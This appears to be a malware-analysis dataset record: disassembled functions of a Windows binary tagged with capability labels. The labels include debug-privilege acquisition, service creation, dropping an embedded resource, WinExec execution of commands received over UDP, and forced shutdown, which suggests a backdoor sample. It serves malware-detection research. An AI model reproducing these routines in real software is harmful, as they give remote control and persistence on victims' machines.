joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401240
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x426001
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x114
mov eax, dword [0x4303dc]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], eax
mov edi, 0x434328
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [esp + 0x134]
mov edx, ecx
mov esi, edi
mov edi, 0x434160
mov dword [esp + 0x12c], ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [esp + 0x14], ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x140]
mov edi, dword [esp + 0x138]
lea eax, [esp + 0x20]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x40131e
lea ecx, [esp + 0x20]
push edi
push ecx
lea edx, [esp + 0x18]
push str._s_s
push edx
call fcn.0041a85f
add esp, 0x10
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x4300ec
call fcn.0041bfa8
push ebp
push ecx
lea eax, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
mov byte [esp + 0x140], 1
call fcn.0041bcf3
mov byte [esp + 0x13c], bl
call fcn.00401ba0
add esp, 0x10
cmp eax, ebx
jne 0x4013b7
lea ecx, [esp + 0x20]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x40138d
lea edx, [esp + 0x20]
push edi
push edx
lea eax, [esp + 0x18]
push 0x4300e4
push eax
call fcn.0041a85f
add esp, 0x10
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push 0x4300ec
call fcn.0041bfa8
push ebp
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
mov byte [esp + 0x140], 2
call fcn.0041bcf3
mov byte [esp + 0x13c], bl
call fcn.00401ba0
add esp, 0x10
cmp eax, ebx
jne 0x401427
cmp dword [esp + 0x14], 0x32
je 0x401471
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x3c
mov dword [esp + 0x14], eax
jl 0x4012af
jmp 0x4013f5
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x434160
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x13c]
push 0x104
push ecx
push edx
call fcn.0040c4c0
add esp, 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x12c], 0xffffffff
call fcn.0041bf7e
mov eax, 1
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x120
ret
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x434160
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4013db
lea edi, [esp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov byte [ecx + 0x43415e], bl
jmp 0x4013db
lea ecx, [esp + 0x10]
mov dword [esp + 0x12c], 0xffffffff
call fcn.0041bf7e
xor eax, eax
jmp 0x40140e
Function at 0x401990
Capabilities:
Query service status

Disassembly:
sub esp, 0x1c
push ebx
push esi
mov esi, dword [esp + 0x28]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor ebx, ebx
lea eax, [esp + 0xc]
push eax
push esi
call edi
mov eax, dword [esp + 0x10]
sub eax, 2
jne 0x4019bb
inc ebx
cmp ebx, 5
jge 0x4019ce
jmp 0x4019a2
sub eax, 2
je 0x4019c9
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1c
ret
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x1c
ret

Function at 0x401a30
Capabilities:
Acquire debug privileges
Create service
Delete service
Query service status
Start service

Disassembly:
sub esp, 0x28
mov eax, dword [0x4303dc]
push ebx
lea ecx, [esp + 8]
push edi
push ecx
push 0x20
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edx, dword [esp + 0xc]
push str.SeDebugPrivilege
push edx
call fcn.004019e0
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 8], ebx
je 0x401b35
mov edi, dword [esp + 0x34]
push ebp
push esi
push 0xf01ff
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401b48
push eax
push eax
push eax
push eax
push eax
mov eax, dword [esp + 0x54]
push eax
push esi
push 3
push 1
push 0xf01ff
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
je 0x401b76
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edi, eax
test edi, edi
jne 0x401aea
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x401aea
cmp eax, 0x420
jne 0x401b12
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push esi
call fcn.00401990
mov edi, eax
add esp, 4
test edi, edi
je 0x401b0e
push 0xbb8
call ebp
inc ebx
cmp ebx, 0x64
jl 0x401af2
mov ebx, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
je 0x401b1f
push esi
call ebp
push ebx
call ebp
pop esi
pop ebp
lea ecx, [esp + 0x10]
call fcn.0041bf7e
mov eax, edi
pop edi
pop ebx
add esp, 0x28
ret
lea ecx, [esp + 0x10]
xor edi, edi
call fcn.0041bf7e
mov eax, edi
pop edi
pop ebx
add esp, 0x28
ret
lea ecx, [esp + 0x1c]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x401b5c
xor edi, edi
jmp 0x401b12
mov eax, dword [esp + 0x20]
dec eax
je 0x401b6f
sub eax, 3
jne 0x401b76
mov edi, 1
jmp 0x401b12
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
xor edi, edi
jmp 0x401b12
Function at 0x401ba0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x4260a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
and ecx, 0xffff
push eax
push ecx
push ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x401c50
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
cmp ebp, ebx
je 0x401c50
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [esp + 0x24]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push edx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401c50
cmp dword [esp + 0x30], ebx
je 0x401c2b
push edi
push ebp
call fcn.00401b80
add esp, 8
lea eax, [esp + 0x10]
push ebx
push eax
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401c41
push esi
jmp 0x401c4a
mov eax, dword [esp + 0x10]
push esi
cmp edi, eax
je 0x401c83
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], bl
call fcn.0041bf7e
lea ecx, [esp + 0x2c]
mov dword [esp + 0x1c], 0xffffffff
call fcn.0041bf7e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], bl
call fcn.0041bf7e
lea ecx, [esp + 0x2c]
mov dword [esp + 0x1c], 0xffffffff
call fcn.0041bf7e
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x402360
Capabilities:
Hash data with crc32

Disassembly:
push esi
push 0x400
mov dword [0x434390], 0xffffffff
call fcn.0040ca04
add esp, 4
mov dword [0x434384], eax
xor ecx, ecx
mov esi, 0x100
mov eax, ecx
mov edx, 8
test al, 1
je 0x402398
shr eax, 1
xor eax, 0xedb88320
jmp 0x40239a
shr eax, 1
dec edx
jne 0x40238b
mov edx, dword [0x434384]
inc ecx
dec esi
mov dword [edx + ecx*4 - 4], eax
jne 0x402384
pop esi
ret

Function at 0x403020
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [0x434338]
xor eax, eax
test esi, esi
jbe 0x403075
mov ecx, dword [0x434390]
push ebx
push ebp
mov ebp, dword [0x434340]
push edi
mov edi, dword [0x434384]
xor edx, edx
mov ebx, ecx
mov dl, byte [eax + ebp]
and ebx, 0xff
xor edx, ebx
shr ecx, 8
mov edx, dword [edi + edx*4]
xor ecx, edx
inc eax
cmp eax, esi
mov dword [0x434390], ecx
jb 0x403042
mov eax, dword [0x434350]
pop edi
add eax, esi
pop ebp
pop ebx
mov dword [0x434350], eax
pop esi
ret
mov eax, dword [0x434350]
add eax, esi
pop esi
mov dword [0x434350], eax
ret

Function at 0x403260
Capabilities:
Initialize winsock library

Disassembly:
mov ecx, 0x46f328
jmp 0x403770
sub esp, 0x1f0
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x18
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x68]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4037a5
pop edi
xor eax, eax
pop esi
add esp, 0x1f0
ret
mov dword [esi + 0x38], 0
call fcn.00404510
mov ecx, esi
call fcn.00403b30
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004045a0
test eax, eax
je 0x4037d0
call fcn.004045a0
test eax, eax
jne 0x4037c7
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.004040d0
test eax, eax
je 0x4037fc
lea edx, [esp + 8]
mov ecx, esi
push edx
call fcn.00403ac0
lea eax, [esp + 8]
mov ecx, esi
push eax
call fcn.004040d0
test eax, eax
jne 0x4037e0
mov ecx, esi
call fcn.004039a0
push 0x64
call edi
jmp 0x4037be
Function at 0x403810
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x108
mov eax, dword [ecx + 0x3c]
push ebx
push esi
push edi
test eax, eax
mov dword [esp + 0xc], ecx
je 0x40393e
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00401210
mov ebx, dword [esp + 0x120]
add esp, 8
cmp dword [ebx + 0x58], 4
jb 0x40393e
mov eax, dword [ebx + 0x5c]
test eax, eax
je 0x40393e
mov eax, dword [eax]
lea edi, [eax + 0x500]
push edi
call fcn.0041bcbf
mov esi, eax
add esp, 4
test esi, esi
je 0x40393e
mov ecx, dword [ebx + 0x58]
mov edx, dword [ebx + 0x5c]
push edi
sub ecx, 4
push esi
add edx, 4
push ecx
push edx
call fcn.00403100
add esp, 0x10
test eax, eax
jle 0x403935
mov ecx, dword [esi + 0x204]
test ecx, ecx
jne 0x4038a7
cmp eax, 0x20c
je 0x4038b5
jmp 0x403935
add ecx, 0x20c
cmp eax, ecx
jne 0x403935
cmp dword [esi], 1
jne 0x40392a
lea ecx, [esi + 4]
lea edx, [esp + 0x10]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s_s
push eax
call fcn.0040cc4f
mov eax, dword [esi + 0x204]
add esp, 0x10
test eax, eax
jne 0x4038ed
call fcn.004014d0
lea ecx, [esp + 0x10]
push 0
push ecx
jmp 0x403924
lea edx, [esp + 0x10]
push 0x430270
push edx
call fcn.0040cfe6
mov edi, eax
mov eax, dword [esi + 0x204]
push edi
push 1
lea ecx, [esi + 0x208]
push eax
push ecx
call fcn.0040ce7c
push edi
call fcn.0040cdff
add esp, 0x1c
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [esp + 0xc]
mov dword [eax + 0x3c], 0
push esi
call fcn.0041bce8
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x108
ret 4

Function at 0x4039f0
Capabilities:
Shutdown system

Disassembly:
sub esp, 0xa8
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x403a7f
cmp dword [esp + 0x24], 2
jne 0x403a66
lea ecx, [esp]
push ecx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403a7f
lea edx, [esp + 8]
push edx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [esp]
push 0
push 0
lea eax, [esp + 0xc]
push 0
push eax
push 0
push ecx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [esp]
test eax, eax
je 0x403a75
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0xa8
ret
Function at 0x403b30
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [0x4705c4]
sub esp, 8
test eax, eax
push ebx
push ebp
mov ebp, ecx
jne 0x403bda
push esi
push edi
mov dword [0x4705c4], 1
lea ebx, [ebp + 0x60]
mov dword [esp + 0x14], 0x20
cmp byte [ebx], 0
je 0x403bc7
push ebx
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x403b9d
push ebx
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403bc4
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0x10]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
cmp eax, 0xffffffff
je 0x403bc4
push eax
call sub.WS2_32.dll_inet_ntoa
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x403bc7
mov byte [ebx], 0
mov eax, dword [esp + 0x14]
add ebx, 0x80
dec eax
mov dword [esp + 0x14], eax
jne 0x403b5b
pop edi
pop esi
mov eax, dword [0x4705c8]
xor ecx, ecx
mov edx, eax
shl edx, 7
mov bl, byte [edx + ebp + 0x60]
test bl, bl
jne 0x403c06
inc eax
and eax, 0x8000001f
jns 0x403bfb
dec eax
or eax, 0xffffffe0
inc eax
inc ecx
mov dword [0x4705c8], eax
cmp ecx, 0x20
jl 0x403be1
shl eax, 7
push 0x1f
lea ecx, [ebp + 0x40]
lea eax, [eax + ebp + 0x60]
push eax
push ecx
call fcn.0040c4c0
mov byte [ebp + 0x5f], 0
mov edx, dword [0x4705c8]
add esp, 0xc
inc edx
and edx, 0x8000001f
jns 0x403c34
dec edx
or edx, 0xffffffe0
inc edx
pop ebp
mov dword [0x4705c8], edx
pop ebx
add esp, 8
ret

Function at 0x403cba
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4260d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov al, byte [esp + 0x14]
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [esp + 8], esi
mov byte [esi], al
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
lea ecx, [esi + 0x30]
mov dword [esp + 0x14], edi
call fcn.00403160
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x1c]
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], ecx
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4044f0
Capabilities:
Set socket configuration

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0x8004667e
push ecx
mov dword [esp + 0xc], 1
call sub.WS2_32.dll_ioctlsocket
pop ecx
ret
Function at 0x404510
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
mov eax, dword [0x430294]
sub esp, 8
cmp eax, 0xffffffff
je 0x40452d
push eax
call sub.WS2_32.dll_closesocket
mov dword [0x430294], 0xffffffff
push esi
push 0
push 2
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x404547
or eax, eax
pop esi
add esp, 8
ret
mov eax, 0x100000
push 4
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
push eax
push 0x1002
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea ecx, [esp + 8]
push 4
push ecx
push 0x1001
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push esi
call fcn.004044f0
add esp, 4
mov dword [0x430294], esi
mov eax, esi
pop esi
add esp, 8
ret

Function at 0x4045a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x74
mov eax, dword [0x430290]
mov dword [esp], 0x10
cmp eax, 0xffffffff
je 0x4045ce
lea ecx, [esp]
lea edx, [esp + 4]
push ecx
push edx
push 0
push 0x10000
push 0x4705cc
push eax
jmp 0x4045eb
mov edx, dword [0x430294]
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push ecx
push 0
push 0x10000
push 0x4705cc
push edx
call sub.WS2_32.dll_recvfrom
mov edx, eax
cmp edx, 0x50
jge 0x4045fd
xor eax, eax
add esp, 0x74
ret
push esi
push edi
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x1c]
mov esi, 0x4705d0
rep stosd dword es:[edi], eax
mov eax, dword [0x470610]
mov ecx, 8
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
mov ecx, 8
mov esi, 0x4705f0
lea edi, [esp + 0x3c]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x470614]
mov dword [esp + 0x5c], eax
mov eax, dword [0x470618]
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0xe]
mov dword [esp + 0x64], eax
lea eax, [edx - 0x50]
mov edx, dword [esp + 0x10]
and ecx, 0xffff
mov dword [esp + 0x74], eax
test eax, eax
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x70], edx
mov dword [esp + 0x68], 1
jbe 0x404697
push eax
call fcn.0041bcbf
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x7c], eax
mov edi, eax
mov eax, ecx
mov esi, 0x47061c
add esp, 4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ecx
call fcn.004044c0
add esp, 4
mov eax, 1
pop edi
pop esi
add esp, 0x74
ret
Function at 0x4046b0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
mov eax, dword [ebx + 0x58]
add eax, 0x50
push eax
call fcn.0041bcbf
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x4046d4
pop ebp
pop ebx
add esp, 0x10
ret
mov ecx, dword [ebx + 0x58]
push esi
add ecx, 0x50
push edi
mov dword [ebp], ecx
lea edi, [ebp + 4]
mov ecx, 8
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
lea esi, [ebx + 0x20]
lea edi, [ebp + 0x24]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebx + 0x40]
mov dword [ebp + 0x44], edx
mov eax, dword [ebx + 0x44]
mov dword [ebp + 0x48], eax
mov ecx, dword [ebx + 0x48]
mov dword [ebp + 0x4c], ecx
mov esi, dword [ebx + 0x5c]
test esi, esi
je 0x404729
mov ecx, dword [ebx + 0x58]
test ecx, ecx
je 0x404729
mov edx, ecx
lea edi, [ebp + 0x50]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov ecx, dword [ebx + 0x54]
mov dword [esp + 0x10], eax
mov dx, word [ebx + 0x50]
mov dword [esp + 0x14], eax
pop edi
mov dword [esp + 0x14], eax
pop esi
mov dword [esp + 0x14], eax
mov eax, dword [0x430290]
cmp eax, 0xffffffff
mov word [esp + 8], 2
mov dword [esp + 0xc], ecx
mov word [esp + 0xa], dx
push 0x10
je 0x404789
mov edx, dword [ebx + 0x58]
lea ecx, [esp + 0xc]
push ecx
add edx, 0x50
push 0
push edx
push ebp
push eax
call sub.WS2_32.dll_sendto
push ebp
call fcn.0041bce8
add esp, 4
mov eax, 1
pop ebp
pop ebx
add esp, 0x10
ret
mov ecx, dword [ebx + 0x58]
mov edx, dword [0x430294]
lea eax, [esp + 0xc]
add ecx, 0x50
push eax
push 0
push ecx
push ebp
push edx
call sub.WS2_32.dll_sendto
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
call fcn.0041bce8
add esp, 4
mov eax, 1
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x419e70
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040cdd0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x419f3b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x419f3b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x419eee
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x419ef9
or bh, 8
and edi, 0x8000000
je 0x419f14
mov eax, dword [0x483dbc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x419f3b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41a310
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41a33b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41a35f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41a37a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20